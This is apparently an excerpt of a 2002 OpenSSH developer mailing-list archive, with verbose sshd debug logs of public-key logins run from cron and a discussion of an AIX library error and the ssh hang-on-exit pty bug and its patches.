Aug  7 11:49:27 dev13 sshd[12319]: debug1: temporarily_use_uid: 522/522
(e=0)
Aug  7 11:49:27 dev13 sshd[12319]: debug1: trying public key file
/home/glb/.ssh/authorized_keys2
Aug  7 11:49:27 dev13 sshd[12319]: debug1: matching key found: file
/home/glb/.ssh/authorized_keys2, line 2
Aug  7 11:49:27 dev13 sshd[12319]: Found matching DSA key:
25:48:a7:14:e6:a0:b6:67:b2:b4:d6:a0:be:b3:98:8b
Aug  7 11:49:27 dev13 sshd[12319]: debug1: restore_uid
Aug  7 11:49:27 dev13 sshd[12319]: debug3: mm_answer_keyallowed: key
0x810e5b0 is allowed
Aug  7 11:49:27 dev13 sshd[12319]: debug3: mm_request_send entering:
type 21
Aug  7 11:49:27 dev13 sshd[12319]: debug3: mm_request_receive entering
Aug  7 11:49:27 dev13 sshd[12319]: debug3: monitor_read: checking
request 20
Aug  7 11:49:27 dev13 sshd[12319]: debug3: mm_answer_keyallowed entering
Aug  7 11:49:27 dev13 sshd[12319]: debug3: mm_answer_keyallowed:
key_from_blob: 0x810e770
Aug  7 11:49:27 dev13 sshd[12319]: debug1: temporarily_use_uid: 522/522
(e=0)
Aug  7 11:49:27 dev13 sshd[12319]: debug1: trying public key file
/home/glb/.ssh/authorized_keys
Aug  7 11:49:27 dev13 sshd[12319]: debug2: key_type_from_name: unknown
key type '1024'
Aug  7 11:49:27 dev13 sshd[12319]: debug3: key_read: no key found
Aug  7 11:49:27 dev13 sshd[12319]: debug2: user_key_allowed: check
options: '1024 35
128595740207060479507856105991669454865404461025581765915492788445768449910817035809257428743309483520830863871414048345249744622395099483967315161082950353293586719060363668584976439640719045510457757912702231439926431435993404972209707408336848979099754395967895610465708167435103384138084697297637267052747 glb at dev14.superstats.com '
Aug  7 11:49:27 dev13 sshd[12319]: debug2: key_type_from_name: unknown
key type '35'
Aug  7 11:49:27 dev13 sshd[12319]: debug3: key_read: no key found
Aug  7 11:49:27 dev13 sshd[12319]: debug2: user_key_allowed: advance:
'35
128595740207060479507856105991669454865404461025581765915492788445768449910817035809257428743309483520830863871414048345249744622395099483967315161082950353293586719060363668584976439640719045510457757912702231439926431435993404972209707408336848979099754395967895610465708167435103384138084697297637267052747 glb at dev14.superstats.com '
Aug  7 11:49:27 dev13 sshd[12319]: debug1: restore_uid
Aug  7 11:49:27 dev13 sshd[12319]: debug2: key not found
Aug  7 11:49:27 dev13 sshd[12319]: debug1: temporarily_use_uid: 522/522
(e=0)
Aug  7 11:49:27 dev13 sshd[12319]: debug1: trying public key file
/home/glb/.ssh/authorized_keys2
Aug  7 11:49:27 dev13 sshd[12319]: debug1: matching key found: file
/home/glb/.ssh/authorized_keys2, line 2
Aug  7 11:49:27 dev13 sshd[12319]: Found matching DSA key:
25:48:a7:14:e6:a0:b6:67:b2:b4:d6:a0:be:b3:98:8b
Aug  7 11:49:27 dev13 sshd[12319]: debug1: restore_uid
Aug  7 11:49:27 dev13 sshd[12319]: debug3: mm_answer_keyallowed: key
0x810e770 is allowed
Aug  7 11:49:27 dev13 sshd[12319]: debug3: mm_request_send entering:
type 21
Aug  7 11:49:27 dev13 sshd[12319]: debug3: mm_request_receive entering
Aug  7 11:49:27 dev13 sshd[12319]: debug3: monitor_read: checking
request 22
Aug  7 11:49:27 dev13 sshd[12319]: debug1: ssh_dss_verify: signature
correct
Aug  7 11:49:27 dev13 sshd[12319]: debug3: mm_answer_keyverify: key
0x810e7a0 signature verified
Aug  7 11:49:27 dev13 sshd[12319]: debug3: mm_request_send entering:
type 23
Aug  7 11:49:27 dev13 sshd[12319]: Accepted publickey for glb from
10.10.0.114 port 2579 ssh2
Aug  7 11:49:27 dev13 sshd[12319]: debug1: monitor_child_preauth: glb
has been authenticated by privileged process
Aug  7 11:49:27 dev13 sshd[12319]: debug3: mm_get_keystate: Waiting for
new keysAug  7 11:49:27 dev13 sshd[12319]: debug3:
mm_request_receive_expect entering: type 24
Aug  7 11:49:27 dev13 sshd[12319]: debug3: mm_request_receive entering
Aug  7 11:49:27 dev13 sshd[12319]: debug3: mm_newkeys_from_blob:
0x810ecf8(118)
Aug  7 11:49:27 dev13 sshd[12319]: debug2: mac_init: found hmac-md5
Aug  7 11:49:27 dev13 sshd[12319]: debug3: mm_get_keystate: Waiting for
second key
Aug  7 11:49:27 dev13 sshd[12319]: debug3: mm_newkeys_from_blob:
0x810ecf8(118)
Aug  7 11:49:28 dev13 sshd[12319]: debug2: mac_init: found hmac-md5
Aug  7 11:49:28 dev13 sshd[12319]: debug3: mm_get_keystate: Getting
compression state
Aug  7 11:49:28 dev13 sshd[12319]: debug3: mm_get_keystate: Getting
Network I/O buffers
Aug  7 11:49:28 dev13 sshd[12319]: debug3: mm_share_sync: Share sync
Aug  7 11:49:28 dev13 sshd[12319]: debug3: mm_share_sync: Share sync end
Aug  7 11:49:28 dev13 sshd[12319]: debug2: User child is on pid 12321
Aug  7 11:49:28 dev13 sshd[12321]: debug1: newkeys: mode 0
Aug  7 11:49:28 dev13 sshd[12319]: debug3: mm_request_receive entering
Aug  7 11:49:28 dev13 sshd[12321]: debug1: newkeys: mode 1
Aug  7 11:49:28 dev13 sshd[12321]: debug1: Entering interactive session
for SSH2.
Aug  7 11:49:28 dev13 sshd[12321]: debug1: fd 5 setting O_NONBLOCK
Aug  7 11:49:28 dev13 sshd[12321]: debug1: fd 6 setting O_NONBLOCK
Aug  7 11:49:28 dev13 sshd[12321]: debug1: server_init_dispatch_20
Aug  7 11:49:28 dev13 sshd[12321]: debug1: server_input_channel_open:
ctype session rchan 0 win 131072 max 32768
Aug  7 11:49:28 dev13 sshd[12321]: debug1: input_session_request
Aug  7 11:49:28 dev13 sshd[12321]: debug1: channel 0: new
[server-session]
Aug  7 11:49:28 dev13 sshd[12321]: debug1: session_new: init
Aug  7 11:49:28 dev13 sshd[12321]: debug1: session_new: session 0
Aug  7 11:49:28 dev13 sshd[12321]: debug1: session_open: channel 0
Aug  7 11:49:28 dev13 sshd[12321]: debug1: session_open: session 0: link
with channel 0
Aug  7 11:49:28 dev13 sshd[12321]: debug1: server_input_channel_open:
confirm session
Aug  7 11:49:28 dev13 sshd[12321]: debug1: server_input_channel_req:
channel 0 request exec reply 0
Aug  7 11:49:28 dev13 sshd[12321]: debug1: session_by_channel: session 0
channel 0
Aug  7 11:49:28 dev13 sshd[12321]: debug1: session_input_channel_req:
session 0 req exec
Aug  7 11:49:28 dev13 sshd[12321]: debug1: fd 8 setting O_NONBLOCK
Aug  7 11:49:28 dev13 sshd[12322]: debug3: channel_close_fds: channel 0:
r -1 w -1 e -1
Aug  7 11:49:28 dev13 sshd[12321]: debug2: fd 8 is O_NONBLOCK
Aug  7 11:49:28 dev13 sshd[12321]: debug1: fd 10 setting O_NONBLOCK
Aug  7 11:49:28 dev13 sshd[12321]: debug1: Received SIGCHLD.
Aug  7 11:49:28 dev13 sshd[12321]: debug1: session_by_pid: pid 12322
Aug  7 11:49:28 dev13 sshd[12321]: debug1: session_exit_message: session
0 channel 0 pid 12322
Aug  7 11:49:28 dev13 sshd[12321]: debug1: channel request 0:
exit-status
Aug  7 11:49:28 dev13 sshd[12321]: debug1: session_exit_message: release
channel 0
Aug  7 11:49:28 dev13 sshd[12321]: debug1: channel 0: write failed
Aug  7 11:49:28 dev13 sshd[12321]: debug1: channel 0: close_write
Aug  7 11:49:28 dev13 sshd[12321]: debug1: channel 0: output open ->
closed
Aug  7 11:49:28 dev13 sshd[12321]: debug1: session_close: session 0 pid
12322
Aug  7 11:49:28 dev13 sshd[12321]: debug1: channel 0: read<=0 rfd 8 len
0
Aug  7 11:49:28 dev13 sshd[12321]: debug1: channel 0: read failed
Aug  7 11:49:28 dev13 sshd[12321]: debug1: channel 0: close_read
Aug  7 11:49:28 dev13 sshd[12321]: debug1: channel 0: input open ->
drain
Aug  7 11:49:28 dev13 sshd[12321]: debug2: channel 0: read 0 from efd 10
Aug  7 11:49:28 dev13 sshd[12321]: debug2: channel 0: closing read-efd
10
Aug  7 11:49:28 dev13 sshd[12321]: debug1: channel 0: ibuf empty
Aug  7 11:49:28 dev13 sshd[12321]: debug1: channel 0: send eof
Aug  7 11:49:28 dev13 sshd[12321]: debug1: channel 0: input drain ->
closed
Aug  7 11:49:28 dev13 sshd[12321]: debug1: channel 0: send close
Aug  7 11:49:28 dev13 sshd[12321]: debug2: notify_done: reading
Aug  7 11:49:28 dev13 sshd[12321]: debug3: channel 0: will not send data
after close
Aug  7 11:49:28 dev13 sshd[12321]: debug1: channel 0: rcvd close
Aug  7 11:49:28 dev13 sshd[12321]: debug3: channel 0: will not send data
after close
Aug  7 11:49:28 dev13 sshd[12321]: debug1: channel 0: is dead
Aug  7 11:49:28 dev13 sshd[12321]: debug1: channel 0: garbage collecting
Aug  7 11:49:28 dev13 sshd[12321]: debug1: channel_free: channel 0:
server-session, nchannels 1
Aug  7 11:49:28 dev13 sshd[12321]: debug3: channel_free: status: The
following connections are open:^M   #0 server-session (t4 r0 i3/0 o3/0
fd 8/8)^M 
Aug  7 11:49:28 dev13 sshd[12321]: debug3: channel_close_fds: channel 0:
r 8 w 8 e -1
Aug  7 11:49:28 dev13 sshd[12321]: Connection closed by remote host.
Aug  7 11:49:28 dev13 sshd[12321]: Closing connection to 10.10.0.114
Aug  7 11:49:28 dev13 sshd[12321]: debug3: mm_request_send entering:
type 38
Aug  7 11:49:28 dev13 sshd[12319]: debug3: monitor_read: checking
request 38
Aug  7 11:49:28 dev13 sshd[12319]: debug3: mm_answer_term: tearing down
sessions

--------------------sshd (ssh cron executed)----------------------

Aug  7 11:49:56 dev13 sshd[12279]: debug1: Forked child 12329.
Aug  7 11:49:56 dev13 sshd[12329]: Connection from 10.10.0.114 port 2581
Aug  7 11:49:56 dev13 sshd[12329]: debug1: Client protocol version 2.0;
client software version OpenSSH_3.4p1
Aug  7 11:49:56 dev13 sshd[12329]: debug1: match: OpenSSH_3.4p1 pat
OpenSSH*
Aug  7 11:49:56 dev13 sshd[12329]: Enabling compatibility mode for
protocol 2.0
Aug  7 11:49:56 dev13 sshd[12329]: debug1: Local version string
SSH-2.0-OpenSSH_3.4p1
Aug  7 11:49:56 dev13 sshd[12329]: debug2: Network child is on pid 12330
Aug  7 11:49:56 dev13 sshd[12329]: debug3: preauth child monitor started
Aug  7 11:49:56 dev13 sshd[12329]: debug3: mm_request_receive entering
Aug  7 11:49:56 dev13 sshd[12329]: debug3: monitor_read: checking
request 0
Aug  7 11:49:56 dev13 sshd[12329]: debug3: mm_answer_moduli: got
parameters: 1024 2048 8192
Aug  7 11:49:56 dev13 sshd[12329]: debug3: mm_request_send entering:
type 1
Aug  7 11:49:56 dev13 sshd[12329]: debug2: monitor_read: 0 used once,
disabling now
Aug  7 11:49:56 dev13 sshd[12329]: debug3: mm_request_receive entering
Aug  7 11:49:57 dev13 sshd[12329]: debug3: monitor_read: checking
request 4
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_answer_sign
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_answer_sign: signature
0x810e6b0(55)
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_request_send entering:
type 5
Aug  7 11:49:57 dev13 sshd[12329]: debug2: monitor_read: 4 used once,
disabling now
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_request_receive entering
Aug  7 11:49:57 dev13 sshd[12329]: debug3: monitor_read: checking
request 6
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_answer_pwnamallow
Aug  7 11:49:57 dev13 sshd[12329]: debug3: allowed_user: today 11906
sp_expire -1 sp_lstchg 11905 sp_max 99999
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_answer_pwnamallow: sending
MONITOR_ANS_PWNAM: 1
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_request_send entering:
type 7
Aug  7 11:49:57 dev13 sshd[12329]: debug2: monitor_read: 6 used once,
disabling now
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_request_receive entering
Aug  7 11:49:57 dev13 sshd[12329]: debug3: monitor_read: checking
request 3
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_answer_authserv:
service=ssh-connection, style=
Aug  7 11:49:57 dev13 sshd[12329]: debug2: monitor_read: 3 used once,
disabling now
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_request_receive entering
Aug  7 11:49:57 dev13 sshd[12329]: debug3: monitor_read: checking
request 10
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_answer_authpassword:
sending result 0
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_request_send entering:
type 11
Aug  7 11:49:57 dev13 sshd[12329]: Failed none for glb from 10.10.0.114
port 2581 ssh2
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_request_receive entering
Aug  7 11:49:57 dev13 sshd[12329]: debug3: monitor_read: checking
request 20
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_answer_keyallowed entering
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_answer_keyallowed:
key_from_blob: 0x810e5b0
Aug  7 11:49:57 dev13 sshd[12329]: debug1: temporarily_use_uid: 522/522
(e=0)
Aug  7 11:49:57 dev13 sshd[12329]: debug1: trying public key file
/home/glb/.ssh/authorized_keys
Aug  7 11:49:57 dev13 sshd[12329]: debug2: key_type_from_name: unknown
key type '1024'
Aug  7 11:49:57 dev13 sshd[12329]: debug3: key_read: no key found
Aug  7 11:49:57 dev13 sshd[12329]: debug2: user_key_allowed: check
options: '1024 35
128595740207060479507856105991669454865404461025581765915492788445768449910817035809257428743309483520830863871414048345249744622395099483967315161082950353293586719060363668584976439640719045510457757912702231439926431435993404972209707408336848979099754395967895610465708167435103384138084697297637267052747 glb at dev14.superstats.com '
Aug  7 11:49:57 dev13 sshd[12329]: debug2: key_type_from_name: unknown
key type '35'
Aug  7 11:49:57 dev13 sshd[12329]: debug3: key_read: no key found
Aug  7 11:49:57 dev13 sshd[12329]: debug2: user_key_allowed: advance:
'35
128595740207060479507856105991669454865404461025581765915492788445768449910817035809257428743309483520830863871414048345249744622395099483967315161082950353293586719060363668584976439640719045510457757912702231439926431435993404972209707408336848979099754395967895610465708167435103384138084697297637267052747 glb at dev14.superstats.com '
Aug  7 11:49:57 dev13 sshd[12329]: debug1: restore_uid
Aug  7 11:49:57 dev13 sshd[12329]: debug2: key not found
Aug  7 11:49:57 dev13 sshd[12329]: debug1: temporarily_use_uid: 522/522
(e=0)
Aug  7 11:49:57 dev13 sshd[12329]: debug1: trying public key file
/home/glb/.ssh/authorized_keys2
Aug  7 11:49:57 dev13 sshd[12329]: debug1: matching key found: file
/home/glb/.ssh/authorized_keys2, line 2
Aug  7 11:49:57 dev13 sshd[12329]: Found matching DSA key:
25:48:a7:14:e6:a0:b6:67:b2:b4:d6:a0:be:b3:98:8b
Aug  7 11:49:57 dev13 sshd[12329]: debug1: restore_uid
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_answer_keyallowed: key
0x810e5b0 is allowed
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_request_send entering:
type 21
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_request_receive entering
Aug  7 11:49:57 dev13 sshd[12329]: debug3: monitor_read: checking
request 20
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_answer_keyallowed entering
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_answer_keyallowed:
key_from_blob: 0x810e770
Aug  7 11:49:57 dev13 sshd[12329]: debug1: temporarily_use_uid: 522/522
(e=0)
Aug  7 11:49:57 dev13 sshd[12329]: debug1: trying public key file
/home/glb/.ssh/authorized_keys
Aug  7 11:49:57 dev13 sshd[12329]: debug2: key_type_from_name: unknown
key type '1024'
Aug  7 11:49:57 dev13 sshd[12329]: debug3: key_read: no key found
Aug  7 11:49:57 dev13 sshd[12329]: debug2: user_key_allowed: check
options: '1024 35
128595740207060479507856105991669454865404461025581765915492788445768449910817035809257428743309483520830863871414048345249744622395099483967315161082950353293586719060363668584976439640719045510457757912702231439926431435993404972209707408336848979099754395967895610465708167435103384138084697297637267052747 glb at dev14.superstats.com '
Aug  7 11:49:57 dev13 sshd[12329]: debug2: key_type_from_name: unknown
key type '35'
Aug  7 11:49:57 dev13 sshd[12329]: debug3: key_read: no key found
Aug  7 11:49:57 dev13 sshd[12329]: debug2: user_key_allowed: advance:
'35
128595740207060479507856105991669454865404461025581765915492788445768449910817035809257428743309483520830863871414048345249744622395099483967315161082950353293586719060363668584976439640719045510457757912702231439926431435993404972209707408336848979099754395967895610465708167435103384138084697297637267052747 glb at dev14.superstats.com '
Aug  7 11:49:57 dev13 sshd[12329]: debug1: restore_uid
Aug  7 11:49:57 dev13 sshd[12329]: debug2: key not found
Aug  7 11:49:57 dev13 sshd[12329]: debug1: temporarily_use_uid: 522/522
(e=0)
Aug  7 11:49:57 dev13 sshd[12329]: debug1: trying public key file
/home/glb/.ssh/authorized_keys2
Aug  7 11:49:57 dev13 sshd[12329]: debug1: matching key found: file
/home/glb/.ssh/authorized_keys2, line 2
Aug  7 11:49:57 dev13 sshd[12329]: Found matching DSA key:
25:48:a7:14:e6:a0:b6:67:b2:b4:d6:a0:be:b3:98:8b
Aug  7 11:49:57 dev13 sshd[12329]: debug1: restore_uid
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_answer_keyallowed: key
0x810e770 is allowed
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_request_send entering:
type 21
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_request_receive entering
Aug  7 11:49:57 dev13 sshd[12329]: debug3: monitor_read: checking
request 22
Aug  7 11:49:57 dev13 sshd[12329]: debug1: ssh_dss_verify: signature
correct
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_answer_keyverify: key
0x810e7a0 signature verified
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_request_send entering:
type 23
Aug  7 11:49:57 dev13 sshd[12329]: Accepted publickey for glb from
10.10.0.114 port 2581 ssh2
Aug  7 11:49:57 dev13 sshd[12329]: debug1: monitor_child_preauth: glb
has been authenticated by privileged process
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_get_keystate: Waiting for
new keysAug  7 11:49:57 dev13 sshd[12329]: debug3:
mm_request_receive_expect entering: type 24
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_request_receive entering
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_newkeys_from_blob:
0x810ecf8(118)
Aug  7 11:49:57 dev13 sshd[12329]: debug2: mac_init: found hmac-md5
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_get_keystate: Waiting for
second key
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_newkeys_from_blob:
0x810ecf8(118)
Aug  7 11:49:57 dev13 sshd[12329]: debug2: mac_init: found hmac-md5
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_get_keystate: Getting
compression state
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_get_keystate: Getting
Network I/O buffers
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_share_sync: Share sync
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_share_sync: Share sync end
Aug  7 11:49:57 dev13 sshd[12329]: debug2: User child is on pid 12331
Aug  7 11:49:57 dev13 sshd[12331]: debug1: newkeys: mode 0
Aug  7 11:49:57 dev13 sshd[12329]: debug3: mm_request_receive entering
Aug  7 11:49:57 dev13 sshd[12331]: debug1: newkeys: mode 1
Aug  7 11:49:58 dev13 sshd[12331]: debug1: Entering interactive session
for SSH2.
Aug  7 11:49:58 dev13 sshd[12331]: debug1: fd 5 setting O_NONBLOCK
Aug  7 11:49:58 dev13 sshd[12331]: debug1: fd 6 setting O_NONBLOCK
Aug  7 11:49:58 dev13 sshd[12331]: debug1: server_init_dispatch_20
Aug  7 11:49:58 dev13 sshd[12331]: debug1: server_input_channel_open:
ctype session rchan 0 win 131072 max 32768
Aug  7 11:49:58 dev13 sshd[12331]: debug1: input_session_request
Aug  7 11:49:58 dev13 sshd[12331]: debug1: channel 0: new
[server-session]
Aug  7 11:49:58 dev13 sshd[12331]: debug1: session_new: init
Aug  7 11:49:58 dev13 sshd[12331]: debug1: session_new: session 0
Aug  7 11:49:58 dev13 sshd[12331]: debug1: session_open: channel 0
Aug  7 11:49:58 dev13 sshd[12331]: debug1: session_open: session 0: link
with channel 0
Aug  7 11:49:58 dev13 sshd[12331]: debug1: server_input_channel_open:
confirm session
Aug  7 11:49:58 dev13 sshd[12331]: debug1: server_input_channel_req:
channel 0 request exec reply 0
Aug  7 11:49:58 dev13 sshd[12331]: debug1: session_by_channel: session 0
channel 0
Aug  7 11:49:58 dev13 sshd[12331]: debug1: session_input_channel_req:
session 0 req exec
Aug  7 11:49:58 dev13 sshd[12331]: debug1: fd 8 setting O_NONBLOCK
Aug  7 11:49:58 dev13 sshd[12332]: debug3: channel_close_fds: channel 0:
r -1 w -1 e -1
Aug  7 11:49:58 dev13 sshd[12331]: debug2: fd 8 is O_NONBLOCK
Aug  7 11:49:58 dev13 sshd[12331]: debug1: fd 10 setting O_NONBLOCK
Aug  7 11:49:58 dev13 sshd[12331]: debug1: Received SIGCHLD.
Aug  7 11:49:58 dev13 sshd[12331]: debug1: channel 0: output open ->
drain
Aug  7 11:49:58 dev13 sshd[12331]: debug1: channel 0: obuf empty
Aug  7 11:49:58 dev13 sshd[12331]: debug1: channel 0: close_write
Aug  7 11:49:58 dev13 sshd[12331]: debug1: channel 0: output drain ->
closed
Aug  7 11:49:58 dev13 sshd[12331]: debug2: notify_done: reading
Aug  7 11:49:58 dev13 sshd[12331]: debug1: session_by_pid: pid 12332
Aug  7 11:49:58 dev13 sshd[12331]: debug1: session_exit_message: session
0 channel 0 pid 12332
Aug  7 11:49:58 dev13 sshd[12331]: debug1: channel request 0:
exit-status
Aug  7 11:49:58 dev13 sshd[12331]: debug1: session_exit_message: release
channel 0
Aug  7 11:49:58 dev13 sshd[12331]: debug1: session_close: session 0 pid
12332
Aug  7 11:49:58 dev13 sshd[12331]: debug2: channel 0: read 0 from efd 10
Aug  7 11:49:58 dev13 sshd[12331]: debug2: channel 0: closing read-efd
10
Aug  7 11:49:58 dev13 sshd[12331]: debug1: channel 0: read<=0 rfd 8 len
0
Aug  7 11:49:58 dev13 sshd[12331]: debug1: channel 0: read failed
Aug  7 11:49:58 dev13 sshd[12331]: debug1: channel 0: close_read
Aug  7 11:49:58 dev13 sshd[12331]: debug1: channel 0: input open ->
drain
Aug  7 11:49:58 dev13 sshd[12331]: debug1: channel 0: ibuf empty
Aug  7 11:49:58 dev13 sshd[12331]: debug1: channel 0: send eof
Aug  7 11:49:58 dev13 sshd[12331]: debug1: channel 0: input drain ->
closed
Aug  7 11:49:58 dev13 sshd[12331]: debug1: channel 0: send close
Aug  7 11:49:58 dev13 sshd[12331]: debug3: channel 0: will not send data
after close
Aug  7 11:50:18 dev13 last message repeated 198 times
Aug  7 11:50:18 dev13 sshd[12331]: Connection closed by remote host.
Aug  7 11:50:18 dev13 sshd[12331]: debug1: channel_free: channel 0:
server-session, nchannels 1
Aug  7 11:50:18 dev13 sshd[12331]: debug3: channel_free: status: The
following connections are open:^M   #0 server-session (t4 r0 i3/0 o3/0
fd 8/8)^M 
Aug  7 11:50:18 dev13 sshd[12331]: debug3: channel_close_fds: channel 0:
r 8 w 8 e -1
Aug  7 11:50:18 dev13 sshd[12331]: Closing connection to 10.10.0.114
Aug  7 11:50:18 dev13 sshd[12331]: debug3: mm_request_send entering:
type 38
Aug  7 11:50:18 dev13 sshd[12329]: debug3: monitor_read: checking
request 38
Aug  7 11:50:18 dev13 sshd[12329]: debug3: mm_answer_term: tearing down
sessions

On Wed, 2002-08-07 at 11:17, Nicolas.Williams at ubsw.com wrote:
> 
> "ssh -n ..." means ssh will close stdin and open /dev/null for stdin. It does not mean losing th eoutput of ssh.
> 
> Nico
> -- 
> 



From gert at greenie.muc.de  Thu Aug  8 05:35:43 2002
From: gert at greenie.muc.de (Gert Doering)
Date: Wed, 7 Aug 2002 21:35:43 +0200
Subject: OpenSSH 34p1 for AIX error. Please help
In-Reply-To: <23ED36D4661BD51199E000D0B782508D02F807C0@ddce0051.mckesson.com>; from Maria.Wiese@McKesson.com on Wed, Aug 07, 2002 at 10:50:59AM -0700
References: <23ED36D4661BD51199E000D0B782508D02F807C0@ddce0051.mckesson.com>
Message-ID: <20020807213543.D7040@greenie.muc.de>

Hi,

On Wed, Aug 07, 2002 at 10:50:59AM -0700, Wiese, Maria wrote:
> I'm trying to install open-ssh 34p1 on an Aix server, running 4.3.3..
> I compiled openssh 0.9.6d and zlib 1.1.4.  on the server , and also created
> the a bff pancake using the contrib/aix/buildbff.sh script.
> I can't start sshd either installing it as a package or without.
> 
> When I tried to start sshd I received the following error:
> 0509-036 Cannot load program /.sshd because of the following errors:
> 0509-150 Dependent module /usr/local/lib/libcrypto.a/libcrypto.so) could not
> be loaded.
>  0509-152 Member libcrypto.so is not found in archive

This sounds very much like you compiled OpenSSL as shared library (which
is not recommended) or there was already a shlib-OpenSSL on your system,
which is now lacking on the target system.

I have no problems copying ssh/sshd binaries between AIX 4.2 and 4.3
machines (not using bff, but customer-customized tar archives), but I 
take care to be sure I link the statically-compiled openssh libraries.

gert
-- 
USENET is *not* the non-clickable part of WWW!
                                                           //www.muc.de/~gert/
Gert Doering - Munich, Germany                             gert at greenie.muc.de
fax: +49-89-35655025                        gert.doering at physik.tu-muenchen.de


From jjaakkol at cs.Helsinki.FI  Thu Aug  8 05:49:49 2002
From: jjaakkol at cs.Helsinki.FI (Jani Jaakkola)
Date: Wed, 7 Aug 2002 22:49:49 +0300 (EEST)
Subject: so-called-hang-on-exit
In-Reply-To: <20020805214136.M13152@google.com>
Message-ID: <Pine.LNX.4.44.0208072237170.1997-100000@loussa.kamppa>

On Mon, 5 Aug 2002, Frank Cusack wrote:

> > Anyway, I realized that it is probably useless to go through the select 
> > loop after the child is exited to just be able to empty the pty buffer. I 
> > checked, and Linux pty buffer size is just 2048 bytes, which is much less 
> > than 16*1024 buffer in channel_handle_rfd. And since the master processes 
> > have exited, the unread data is guaranteed to have fit into that 2048 byte 
> > buffer.
> 
> Yeah, but you don't know how much of that buffer is available,

Well, of the 16384 byte buffer in channel_handle_rfd always 16384 bytes is 
available. It is just a temporary stack buffer used in channel_handle_rfd. 
Check yourself.

I am sure that the output from the exited children must have fit into the 
pty buffer. If it doesn't, the children could not possibly have exited.

There is also the global server output buffer, but it is already protected 
from filling by the select loop and should be guaranteed to have the 
requires 16384 bytes space. channel_handle_rfd already assumes so. (well, 
I guess that under extreme conditions with hundreds of channels I could 
actually fill the global output buffer and crash sshd; but it is a 
completely different bug and is not relevant to the hang-on-exit thing) 

> and the bug isn't present only on Linux, I thought. 

I guess the pty buffer size varies between diffirent unices. However, I 
would be surprised if it was larger than 16K in any Unix-like OS.

But anyway, if there actually are unices which large pty buffers it should 
not matter. We perfectly good patches for them too.

> I actually tried just emptying the buffer and then doing a 
> chan_read_failed() but this lost data for me. At least I think I tried 
> that. :-)

I did ran quite a lot of tests on my patch. Worked fine for me. 

Can you provide a scenario where my patch should fail?
Where fail means that ssh hangs on pty background processes or loses data 
from foreground processes.

- Jani




From jjaakkol at cs.Helsinki.FI  Thu Aug  8 05:53:29 2002
From: jjaakkol at cs.Helsinki.FI (Jani Jaakkola)
Date: Wed, 7 Aug 2002 22:53:29 +0300 (EEST)
Subject: so-called-hang-on-exit
In-Reply-To: <BF5F3FE870FB5C4B89BC1A1FBC76778C08EC01@NSTMC004PEX1.ubsgs.ubsgroup.net>
Message-ID: <Pine.LNX.4.44.0208072251100.1997-100000@loussa.kamppa>

On Tue, 6 Aug 2002 Nicolas.Williams at ubsw.com wrote:

> 
> Why are putting a timeout into the sshd's select() when flushing
> the PTY?
> 
> I'll admit I've neither tried the patch nor really read it. But if
> you'll rely on timeouts on one side, why not on the other.

We did not rely on timeouts. The timeouts we're only made so that the 
select() call could not hang forever.

I really did want 0 second timeouts, but the way timeout handling was 
implemented in serverloop.c prevented that (with a minimal patch at least. 
Personally I would have liked to clean up the timeout handling; Eventually 
I will have to, since I will port my older IdleTimeout to newer openssh).

- Jani




From jjaakkol at cs.Helsinki.FI  Thu Aug  8 06:02:39 2002
From: jjaakkol at cs.Helsinki.FI (Jani Jaakkola)
Date: Wed, 7 Aug 2002 23:02:39 +0300 (EEST)
Subject: so-called-hang-on-exit 
In-Reply-To: <BF5F3FE870FB5C4B89BC1A1FBC76778C0A1081@NSTMC004PEX1.ubsgs.ubsgroup.net>
Message-ID: <Pine.LNX.4.44.0208072255280.1997-100000@loussa.kamppa>

On Tue, 6 Aug 2002 Nicolas.Williams at ubsw.com wrote:

> 
> I meant, what is the difference in behaviour in technical terms.
> 
> E.g., "the BSD pty master gets EOF as soon as all processes in the pty's
> controlling process group exit, whereas on Linux the pty master EOFs
> only when there are no open file descriptors for the pty."

Thats it.

> And what server-side, user-level heuristic could "correct" for this
> difference?

I don't know about "correct", but with the patches me and Frank Cusack 
have sent (however I haven't tested Franks version, since I am still happy 
with my own) we _do_ get exactly the same behaviour in OpenBSD and 
Linux (including the data loss). So if you are wondering how to do it, 
read the patches.

I would be happy know, if someone can prove otherwise, with any OS where 
openssh runs and uses ptys. Providing an example shell script would be 
nice, like I did.  

- Jani



From jjaakkol at cs.Helsinki.FI  Thu Aug  8 06:07:10 2002
From: jjaakkol at cs.Helsinki.FI (Jani Jaakkola)
Date: Wed, 7 Aug 2002 23:07:10 +0300 (EEST)
Subject: so-called-hang-on-exit
In-Reply-To: <1028665953.18960.119.camel@egarff.superstats.com>
Message-ID: <Pine.LNX.4.44.0208072302580.1997-100000@loussa.kamppa>

